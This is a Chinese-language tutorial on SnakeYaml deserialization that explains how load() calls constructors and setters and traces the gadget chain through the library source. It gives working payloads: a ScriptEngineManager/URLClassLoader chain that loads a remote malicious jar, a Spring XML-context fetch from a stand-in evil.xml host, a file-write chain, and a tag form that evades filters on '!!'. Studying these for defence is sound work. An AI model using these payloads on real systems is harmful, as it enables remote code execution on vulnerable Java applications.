SnakeYaml
0x01 What Is SnakeYaml
SnakeYaml是一个完整的YAML1.1规范Processor,用于解析YAML,序列化以及反序列化,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
0x02 Best Practice
两个方法:
Yaml.load():入参是一个字符串或者一个文件,返回一个Java对象
Yaml.dump():将一个对象转化为yaml文件形式
dump
打印结果:
getName
!!com.snake.demo.User {age: 18, name: taco}
!!用于强制类型转换,与fastjson中@type字段类似
dump()
还调用了非public成员的getter
load
Non Arg Constructor
setName
I am taco, 18 years old
load()
调用了无参构造器和非public成员的setter
实际上不仅无参构造器能够调用,还能指定调用有参构造器,只要传参类型为有参构造器的参数类型即可。
Arg Constructor Called
I am taco, 18 years old
此时就不会调用setter
方法了
若类属性是public修饰,不会调用对应的setter方法,而是通过反射来set
0x03 Way To Attack
yaml反序列化时通过!!
+ 全类名指定反序列化的类,和fastjson一样都会调用setter,不过对于public修饰的成员不会调用其setter,除此之外,snakeyaml反序列化时还能调用该类的构造函数(fastjson是通过ASM生成的)。
ScriptEngineManager
构造ScriptEngineManager
payload,利用SPI机制通过URLClassLoader
远程加载恶意字节码文件。
Github上面的EXP:https://github.com/artsploit/yaml-payload
工具的工程classpath下存在META-INF/services
文件夹
javax.script.ScriptEngineFactory
artsploit.AwesomeScriptEngineFactory
打成jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
将生成yaml-payload.jar包放在web服务上
python -m http.server 9999
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"] ]] ]
下面来看一下触发流程
javax.script.ScriptEngineManager
ScriptEngineManager
的无参构造器调用了init(),进行初始化设置后调用initEngines()
,用于初始化脚本引擎。
接着到getServiceLoader
,用于获取ServiceLoader
迭代器
到了熟悉的ServiceLoader.load()
返回一个ServiceLoader<T>
,根据这个可以获取一个迭代器,接下来还是熟悉的迭代遍历。
next() => nextService()
会加载接口实现类并实例化,在SPI那节已经介绍过了。
SpringFramework远程加载配置
Spring当中有两个类的构造函数远程加载配置,可以构成RCE
org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext
!!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:8888/evil.xml"]
既然能触发getter,那么fastjson的大部分payload也可以用。
写文件加载本地jar
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },length]]
filepath是写入路径,base64str为经过zlib压缩过后的文件内容,length为文件大小
和fastjson一样,对于byte数组会自动进行base64解码(snakeyaml中为binary)
既然可以写文件,那就把jar写入目标环境,然后再通过URLClassloader本地加载
0x04 Yaml#load()
payload存储于StreamReader的stream字段
回到loadFromReader()
,创建了一个Composer对象,并封装到constructor
中
跟进getSingleData
getSingleNode()
将poc改造为如下:
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9999/yaml-payload.jar)>])>])>])>])>
若过滤了!!
,可利用此tag规则进行绕过
!tag:yaml.org,2002:javax.script.ScriptEngineManager [!tag:yaml.org,2002:java.net.URLClassLoader [[!tag:yaml.org,2002:java.net.URL ["http://ip/yaml-payload.jar"]]]]
接着调用constructDocument()
对上面poc进行处理
跟进constructObject()
=> constructObjectNoCheck()
node放入recursiveObjects
,进入constructor.construct(node)
遍历节点,调用constructObject()
又循环回去了
constructObjectNoCheck()->
BaseConstructor#construct()->
Contructor#construct()->
递归Contructor#constructObject()
上面的POC有5个node,所以循环5次。
先后进行了URL、URLClassLoader、ScriptEngineManager的实例化
注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。
最后进入ScriptEngineManager的无参构造器,连接上了上文的SPI机制。
Article To Learn
Last updated